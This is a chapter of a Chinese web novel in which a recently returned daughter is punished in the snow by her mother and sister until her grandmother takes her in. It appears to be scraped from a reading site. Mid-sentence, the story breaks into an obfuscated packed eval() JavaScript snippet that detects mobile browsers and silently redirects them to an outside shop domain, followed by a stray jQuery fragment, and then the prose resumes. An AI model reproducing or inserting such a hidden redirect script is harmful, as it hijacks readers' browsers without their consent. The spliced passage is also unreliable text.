林若瑜适时开口,语调温柔却满口轻慢与偏见:
“母亲常说,商人皆是市侩粗鄙,唯利是图的,妹妹许是从小在那样的环境下长大,早已经习惯,认为沈家给你那些物质,便是真心疼、爱你,但其实……”
“你胡说八道什么!”
林知漾骤然出声打断她,声音又急又厉,按着她的家丁都险些没稳住身形。
她从未想过,自己从前信任林若瑜,随口倾诉的那些关于沈家的细碎过往,此刻会被对方断章取义,变成刺向自己的利刃。
林若瑜被她骤然迸发的戾气吓了一跳,下意识后退半步,心头一慌,方才那一瞬间,她真的以为林知漾要冲上来对她动手。
“她说的没错。”叶氏见林知漾失控,没有半分劝慰,反而说教道:"收收你身上的浮躁吧,不然迟早要闯出大祸。"
林知漾浑身冰冷,只觉得眼前人荒谬至极,"收收你们身上的蠢气吧。”
她眼中满是讥讽,“一个闺阁小姐被造谣的事,如今反倒成了对我的追讨大会。难道现在全府上下都盯着我受罚,造谣的事就能被压下去吗?"
被一语戳破心思与算计的林若瑜身子微不可察一颤,心里发虚,下意识看向周围。
见叶氏依旧所有苛责与怒火都对准林知漾,她暗暗松了口气,她的目的已然达成。
尝到挑唆甜头的林若瑜眼底闪过一丝得意,"若是我当初听母亲的话,对妹妹严加看管,而不是听见她提起沈家旧事,心软纵容就好了。"
叶氏闻言皱眉看向她,"沈家什么旧事?"
"不过是妹妹从前在沈家受万般娇宠,不愿读书便可以不学,闯了祸也不会被责罚罢了。"
林知漾句句暗藏褒贬,刻意放大。
叶氏瞬间了然,看向林知漾的眼神越发笃定,语气全然的否定,"我说的果然没错,你这副模样,全是沈家的错。"
林知漾盯着眼前一唱一和、虚伪至极的两人,恨不得冲上去撕碎她们这副道貌岸然的嘴脸。
她声音沙哑,质问道:"既然这般瞧不上,当初为何要把我接回来。"
她曾经也幻想过,亲生爹娘见到失而复得的她是满心欢喜的。
可回京至今,父亲冷漠疏离,唯有晨昏请安时能匆匆见上一面,从无半分温情,母亲严苛,事事挑剔,打心底里看她不顺眼。
如今叶氏更是言辞刻薄,没有半分母女温情,"你以为我愿意吗?能做林府嫡小姐,你该偷着庆幸自己飞上枝头变凤凰。"
林知漾唇角抿紧,心头瞬间酸涩发胀,涌起无尽的悲凉。
外祖父母疼她、护她一生,离别时依依不舍的眼泪、万般不舍的模样还历历在目。
当初是他们劝慰她,亲生父母身边才是归宿,定会好好待她,好说歹说,她最终才告别沈家。
她忍不住想,如今落得这副境地,外祖母若是看见,是否会后悔呢?
林知漾低声吐出三字:“不稀罕。”
叶氏没听清,上前一步问道:“你说什么?”
林知漾胸口剧烈起伏,声音清晰又执拗,“我说我从来都不想回什么林府,是你们逼的,如今还要逼着我变成你喜欢的样子,我做不到!”
她抬眼看着叶氏,字字铿锵:“还有,嘴巴放干净点,别一口一个沈家怎么样,沈家比你们好一百倍。”
这番忤逆的话,彻底激怒了叶氏,她面色铁青,咬牙切齿厉声喝斥:"掌嘴!打到她认错、说不出话为止!"
身侧的张嬷嬷臂膀粗壮,得令后气势汹汹地朝林知漾走去。
院中神色各异,有人于心不忍,偏过头不敢看,有人一脸看热闹的神情,静静等着这位二小姐当众受辱。
一旁的家丁使劲浑身解数,拦住拼命想要上前阻拦的百合,任她泪眼婆娑、奋力挣扎,也终究胳膊拧不过大腿。
"谁敢动林家唯一的嫡女。"
一道威严沧桑、沉稳有力的声音骤然响起,硬生生打断了这场即将失控的闹剧。
盛怒的叶氏,暗自窃喜的林若瑜等人皆是一愣,齐刷刷转头看向来人。
廊外风雪翻飞,一众侍女嬷嬷簇拥着缓步走来的林老夫人,她身披深色织金斗篷,鬓发规整,步履不疾不徐,风霜难掩风骨。
林老夫人一踏进院子,便将眼前刺目的一幕尽收眼底。
白雪皑皑的庭院中央,身形单薄的少女正被人死死按跪在积雪之中。
细碎的雪落在她乌黑的发间,脸颊被冻得泛白,唯又一双眼睛亮得吓人,死死锁着屋檐下的叶氏,不肯低头半分。
此刻的少女像一头孤立无援、毛发凌乱、彻底被激怒的幼狮。
百合见林老夫人身后跟这的还有芙蓉,紧绷的神经瞬间松懈,浑身脱力,瘫坐在地。
叶氏连忙收敛怒容,快步上前迎接,急切辩解道:“母亲,漾儿性子太过纵性妄为,如今若不不严加管教,将来必定闯出大祸。”
林老夫人垂眸,扫了一眼雪地里倔强的林知漾,随后将视线落回叶氏身上,眼底仅存的温和尽数散去,不紧不慢开口。
“那你倒是同我说说,她究竟做了些什么事儿,值得你这般狠心当众严惩。”
叶氏被当众诘问,一时语滞,想起林知漾方才句句顶撞的模样,又添几分底气,“她目无尊长,屡次顶撞长辈。”
“她是平白无故顶撞你吗?”林老夫人淡淡反问。
叶氏脸色一僵,“母亲,顶撞长辈就是过错,尊卑有序的规矩岂能随意。”
林知漾的所作所为,在场人都看得清清楚楚,叶氏打定主意,说什么也不能让老夫人轻飘飘几句话就把林知漾护走,否则日后她管教林知漾更是寸步难行。
林老夫人素来看不惯叶氏简单粗暴、严苛刻板管到细枝末节的教养方式。
从前有林若瑜事事顺从,完全配合,她虽身为祖母,也不好过问。再有她年事已高,不愿多插手内宅琐事,一直睁一只眼闭一只眼。
可今日叶氏当众折辱、狠心严惩林知漾,闹得阖府皆知,她再也无法坐视不理。
“你明知道漾儿性子刚烈,偏不肯耐心引导,非要步步紧逼,和她硬碰硬,又是何必?她年纪小不懂事,你身为主母、身为生母,也这般糊涂莽撞?”
当众被老夫人训诫,叶氏颜面尽数,脸色沉了下去,却只能硬撑体面辩驳,“她不懂事,就该好好教训。”
林老夫看着她固执己见的模样,只觉得不可理喻,"你执掌内宅多年,管教晚辈就只会这种强硬手段,这套法子拿捏得住温顺听话的若瑜,对刚烈正直的漾儿行不通,你当真看不明白?"
“可是……”
林老夫人不愿再听她逞强辩解,转头对着家丁吩咐:"还不放开二小姐。"
随即目光扫过院中立着的一众下人,语气清冷威严:“你们心里都该清楚,这林家身份最尊贵、根正苗红的嫡小姐,究竟是谁。”
话音落地,最受打击的是廊下林若瑜。她攥紧了手,指尖戳得掌心发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563384|204617||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
疼也全然不顾。
她方才还沉浸在隐秘的得意之中,以为这场对局自己大获全胜,在母亲心中她稳压林知漾一头。
祖母的出现,打碎了她的幻想。连脸上一贯的笑意都险些挂不住了。
-
入夜时分,林家大宅中堂灯火沉沉,青砖铺地光净无尘。
林远舟一回府,便被匆匆请到中堂断理是非。
林老夫人端坐左侧主位,唇线紧抿,面色肃穆冰冷,全无往日慈祥温和。林远舟甚少见到母亲这般模样,当下明白,今日之事绝非小事。
不等旁人开口,林老夫人率先出声,“我要将漾儿养在跟前,从今往后,直到她出阁,都由我亲自教养。”
“母亲,这恐怕不妥!”叶氏出声反对,眼底满是焦灼,"漾儿性子跳脱,恐扰母亲休息。"
她又急又怨,自己身为生母,亲生女儿却要交给祖母教养,这分明是当众打她的脸,是要外界传她教导无方、容不下亲女的罪名。
“那便当我们林家欠这孩子的,如今由我这个老婆子来偿还。”
她从前听闻孙女流落商户多年,只当孩子平安长大、衣食无忧,也算不幸中的万幸。可如今孩子流落在外尚且安稳顺遂,回到亲生父母身边,反倒受尽委屈。
本想静观二人争执,自己稍后再开口的林远舟,被母亲这番话惊得心头一颤,连忙温声安抚:"母亲何出此言,要偿还也是由我们来。"
叶氏也没料想到事情会闹到如此严重,一时间气势萎靡一半,不敢再多言半句,怕老夫人再说出更严重的话,最后变成她不孝。
“别忘了,这孩子是被恶人故意调换,无辜流落在外。你们凭什么怪她没按照你们喜好的样子长大,要怪就怪当初你们看管不力。”
她顿了顿,继续道:“况且,我并不觉得漾儿品性恶劣,我倒是觉得她心性纯粹,不喜虚伪周旋,不过是少年气盛,性子急躁刚烈了些,并无半分坏心思。”
话说完,满堂寂静,无人敢接话。
林远舟常年忙于外务,甚少关心府中内宅琐事,对这个失而复得的女儿并不了解。
片刻后,林远舟开口询问:"母亲所言极是,只是不知今天发生何事,惹得母亲如此动怒。"
叶氏正要抢先辩解,却被林老夫人直接打断:
“你夫人今日不由分说,命人将漾儿按在大雪天里跪地受罚,阖府下人尽数围观,颜面尽失。前因后果,随便唤个下人来问,便能知晓全貌。我如今没空在此争辩扯皮,漾儿回院后便高烧不退、卧病在床,我得回去瞧瞧她。”
原来林知漾回到院子后,骤然高烧不退。大夫瞧过后说,是因心绪郁结、情绪过激,又在严寒雪地中跪着受冻,寒热相冲,才引发的病症。
林老夫人看向林远舟,收敛了方才的怒气,缓缓道:
“二郎,母亲这么多年也没向你讨要过什么。现在就想将这小孙女留在身边承欢膝下,也不想再瞧她受苦。”
林远舟看着母亲恳切的神情,当即点头应允“好,我答应母亲。”
林老夫人这一招以退为进,叶氏纵有万分不甘,也无反驳的余地。
她与林远舟的夫妻情分,早在当年他执意纳妾、冷落正妻时便已然耗尽。
多年来二人形同陌路,他主外、她主内,他常年流连别院、甚少踏足正院,夫妻二人早已无话无情、形同陌路。
时至今日,她纵是满心委屈不甘,也知道林远舟不会偏向自己,终究无力挽回。